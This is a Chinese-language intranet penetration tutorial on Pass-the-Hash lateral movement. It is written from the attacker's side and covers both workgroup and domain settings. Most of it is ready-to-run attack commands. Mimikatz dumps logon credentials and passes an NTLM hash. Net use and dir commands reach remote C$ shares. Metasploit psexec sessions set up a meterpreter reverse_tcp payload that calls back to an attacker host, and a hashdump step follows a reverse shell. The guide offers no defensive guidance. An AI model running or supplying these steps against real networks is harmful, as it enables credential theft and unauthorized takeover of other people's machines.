在内网渗透过程中,当获取到某个管理员用户的密码 hash 值却无法解密时,可以通过哈希传递攻击(Pass The Hash)对内网其他机器进行横向渗透。
哈希传递攻击(Pass The Hash)是基于 NTLM 认证缺陷的一种攻击方式,攻击者可以利用用户的密码哈希值来进行 NTLM 认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击的手段登录到内网中的其他计算机。
通过哈希传递攻击,攻击者不需要花时间破解密码哈希值来获取明文密码。尤其是在 Windows Server 2012 R2 及之后的版本的操作系统中,默认在内存中不会记录明文密码,因此攻击者往往会使用工具将哈希值传递到其他计算机中进行权限验证,实现对其他远程计算机的控制。
工作组环境:
域环境:
假设你获取到了一台域管理员组内用户登录过的一台机器,并且获取到了这台机器的本地管理员的权限,那么你就可以使用 Mimikatz 工具同时抓取到本地管理员以及域管理员组内用户的密码 NTLM Hash 值。
# 执行 Mimikatz 命令抓取本地密码并保存结果到 Mimikatz.log 文件中
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
首先使用 Mimikatz 工具获取域管理员组内用户及密码 NTLM Hash 如下:
域环境:LUCKYSEC.CN
域管理员组内用户:LUCKYSEC\admins
域管理员组内用户NTLM hash值:518b98ad4178a53695dc997aa02d455c
由于 Mimikatz 需要管理员权限运行,所以前提需要获取域内任意一台机器的本地管理员权限运行 CMD,然后使用 Mimikatz 对目标机器(10.10.10.10)进行 hash 传递攻击:
# hash传递攻击 Mimikatz 命令格式:
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:域 /ntlm:xxxxxx"
# 使用例子:
mimikatz "privilege::debug" "sekurlsa::pth /user:admins /domain:LUCKYSEC.CN /ntlm:518b98ad4178a53695dc997aa02d455c"
# 建立IPC$连接
net use \\10.10.10.10
# 列出目标机器的C盘文件
dir \\10.10.10.10\c$
执行成功后,会弹出一个新的CMD命令行窗口,在此窗口中即可与目标机器建立 IPC$ 连接成功。
有时候 dir 后面跟 IP 地址会提示用户名或密码错误,可以通过输入目标的主机名解决此问题:
dir \\AD-2016\c$
首先使用 Mimikatz 工具获取域管理员组内用户及密码 NTLM Hash 如下:
获取本地工作组管理员:Administrator
获取本地工作组管理员密码 NTLM Hash:518b98ad4178a53695dc997aa02d455c
假设目标机器(10.10.10.20)上同样存在 Administrator 密码与攻击者拿下的主机管理员密码相同,那么这两台机器的 NTLM hash 也是相同的,因此可以进行 hash 传递攻击。
# hash传递攻击 Mimikatz 命令格式:
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:xxxxxx"
# 使用例子:
mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:10.10.10.20 /ntlm:518b98ad4178a53695dc997aa02d455c"
# 建立IPC$连接
net use \\10.10.10.20
# 列出目标机器的C盘文件
dir \\10.10.10.20\c$
首先是通过常规的反弹 shell 操作到msf上,通过 run post/windows/gather/hashdump
获取到 LM:NTLM hash 值
攻击前提条件:
域环境:LUCKYSEC.CN
域管理员组内用户:admins
域管理员组内用户 LM:NTLM hash 值:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
hash传递攻击:
msf6 exploit(windows/smb/psexec) > use exploit/windows/smb/psexec
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.10
rhost => 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbuser admins
smbuser => admins
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
smbpass => aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
msf6 exploit(windows/smb/psexec) > exploit
攻击前提条件:
获取本地工作组管理员:Administrator
获取本地工作组管理员密码 LM:NTLM hash 值:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
hash 传递攻击:
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.2
lhost => 10.10.10.2
msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.20
rhost => 10.10.10.20
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
smbpass => aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
msf6 exploit(windows/smb/psexec) > exploit